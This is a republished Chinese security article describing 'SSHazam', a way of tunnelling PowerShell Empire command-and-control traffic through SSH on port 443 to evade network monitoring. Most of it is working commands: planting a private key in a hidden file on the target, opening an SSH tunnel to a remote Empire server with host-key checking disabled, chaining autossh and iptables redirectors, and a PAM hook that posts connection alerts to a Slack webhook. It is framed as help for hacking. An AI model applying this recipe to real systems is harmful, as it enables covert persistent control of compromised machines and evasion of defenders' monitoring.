SSHazam:如何利用SSH隧道实现隐蔽C2通信

栏目: 服务器 · 发布时间: 5年前

内容简介:SSHazam这种技术可以帮助你将任何C2工具的通信流量隐藏在标准SSH通信信道中以躲避网络监测。在下面的演示样本中,我们会运行PowerShell Empire,它会连接至目标用户的localhost端口。本地端口会通过一个SSH连接将流量转发至远程Empire服务器,这样检测工具检测到的流量就只有SSH流量了。目标系统为OS X,但这种技术还可以利用Plink.exe【

SSHazam:如何利用SSH隧道实现隐蔽C2通信

SSHazam这种技术可以帮助你将任何C2 工具 的通信流量隐藏在标准SSH通信信道中以躲避网络监测。

直奔主题

在下面的演示样本中,我们会运行PowerShell Empire,它会连接至目标用户的localhost端口。本地端口会通过一个SSH连接将流量转发至远程Empire服务器,这样检测工具检测到的流量就只有SSH流量了。目标系统为OS X,但这种技术还可以利用Plink.exe【 下载地址 】在Windows平台上实现。

SSHazam:如何利用SSH隧道实现隐蔽C2通信

上图显示的是,目标系统有一个监听端口5430的SSH信道,会将所有接收到的数据转发至Empire服务器。Empire服务器运行了Empire实例并在其localhost(127.0.0.1:5430)监听着相同的端口。为了更好地隐藏SSH流量,我们还让SSH服务器监听端口443,而不是标准端口22。别忘了修改SSH配置文件,来让它监听这个端口,然后修改云防火墙来允许流量通过。

你还需要在建立连接前往目标系统中拷贝一份私钥,对应的公钥必须添加到Empire服务器中的authorized_keys文件中。在演示样例中,我们会将私钥文件放在目标系统的~/.ssh/.do.key。下面的操作步骤需要在命令行中执行:

mkdir~/.ssh
chmod700 ~/.ssh
echo-----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key
echoMIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >>~/.ssh/.do.key
echo+qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >>~/.ssh/.do.key
<snippedhere for brevity>
echoRkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >>~/.ssh/.do.key
echoNHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >>~/.ssh/.do.key
echo-----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key
chmod600 ~/.ssh/.do.key

为了防止其他人访问这个私钥,你需要修改Empire服务器的配置。编辑/etx/passwd,并将登录路径修改为/bin/false:

victim:x:1001:1001:VictimGuy,,,:/home/victim:/bin/false

将私钥存在目标系统中之后,只需要运行下列命令即可开启SSH信道和端口了:

ssh -i~/.ssh/.do.key  -p 443 -N -f-oStrictHostKeyChecking=no victim@empire-server.corp.com -L 5430:127.0.0.1:5430

现在需要配置PowerShell Empire,或者你自己的C2,来监听127.0.0.1:5430。此时,所有的C2流量都会隐藏在加密的SSH信道中,你也无需担心其他的网络监测工具了。

技术分析

这种技术其实非常简单,可以直接给到你C2会话。有时你可能不想把客户的敏感信息存放到第三方的云服务器中,这样你就需要设置一个额外的重定向工具来将云主机的流量转发到你自己的网络中了。整个流程大致如下图所示:

SSHazam:如何利用SSH隧道实现隐蔽C2通信

C2连接会通过SSH信道转发至Empire重定向器。Empire重定向器的防火墙规则会将流量转发至另一个重定向器(中间件),然后建立逆向SSH连接将流量转发至最终的目的地。

需要在目标设备上运行的SSH命令如下:

ssh-i ~/.ssh/.do.key  -p 443 -N -f-oStrictHostKeyChecking=no victim@empire-redirector.corp.com -L5430:127.0.0.1:5431

在攻击主机上运行的SSH命令如下:

autossh-M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 root@redirector.corp.com

你可能还需要先安装autossh,因为它可以让你的SSH信道长时间保持通信状态。

Empire重定向器的IP Table规则如下:

iptables-t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -mmultiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432
iptables-t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -jMASQUERADE
sysctl-w net.ipv4.conf.all.route_localnet=1

此时,工具会将端口5430至端口65535的流量全部转发至最终的重定向器,这样你就可以捕捉目标用户的全部流量了。

重定向器的IP Table规则如下:

sysctl-w net.ipv4.conf.all.route_localnet=1
iptables-t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433

这看起来有些复杂,但是这种方法非常实用,可以保护你云端外的敏感数据。

如果你想在SSH连接建立成功之后收到通知的话,可以在/etc/pam.d/sshd文件中添加下列两行代码:

session[success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.soopen
sessionoptional pam_exec.so /home/root/ssh-slack-alert.sh

我的通知提醒脚本代码如下:

#!/usr/bin/envbash

if ["$PAM_USER" != "admin" ] && [ $PAM_TYPE !="close_session" ]

then

message="\`\`\`PamType:$PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname:`hostname`\`\`\`"

curl-X POST \

--data-urlencode"payload={\"channel\": \"alerts\",\"username\": \"SSHazam\", \"text\":\"${message}\", \"icon_emoji\": \":boom:\"}"\

https://hooks.slack.com/services/YOUR/SLACK/HOOKHERE

fi

大家赶紧动手尝试一下吧,希望可以给大家的Hack提供一些帮助!

*参考来源: blackhillsinfosec ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《SSHazam:如何利用SSH隧道实现隐蔽C2通信》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数据结构与算法分析

数据结构与算法分析

(美)(C.A.谢弗)Clifford A.Shaffer / 电子工业出版社 / 1998-8 / 35.00元

本书综合“数据结构与算法”的知识梳理、习题解答及上机辅导等于一身;精心挑选了覆盖教学大纲的五百多道题目,并且提供所有题目的参考答案;对于较难的算法和上机题,给出了详细的分析和说明;对于学习的重点和难点、易犯的错误、题目的难易和重要性,以及国内教材的差异等都给出了必要的说明。 本书可给使用各种教材讲授和学习“数据结构与算法”(或者“数据结构”)的师生参考,是系统复习该课程和准备应考计算......一起来看看 《数据结构与算法分析》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

随机密码生成器
随机密码生成器

多种字符组合密码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具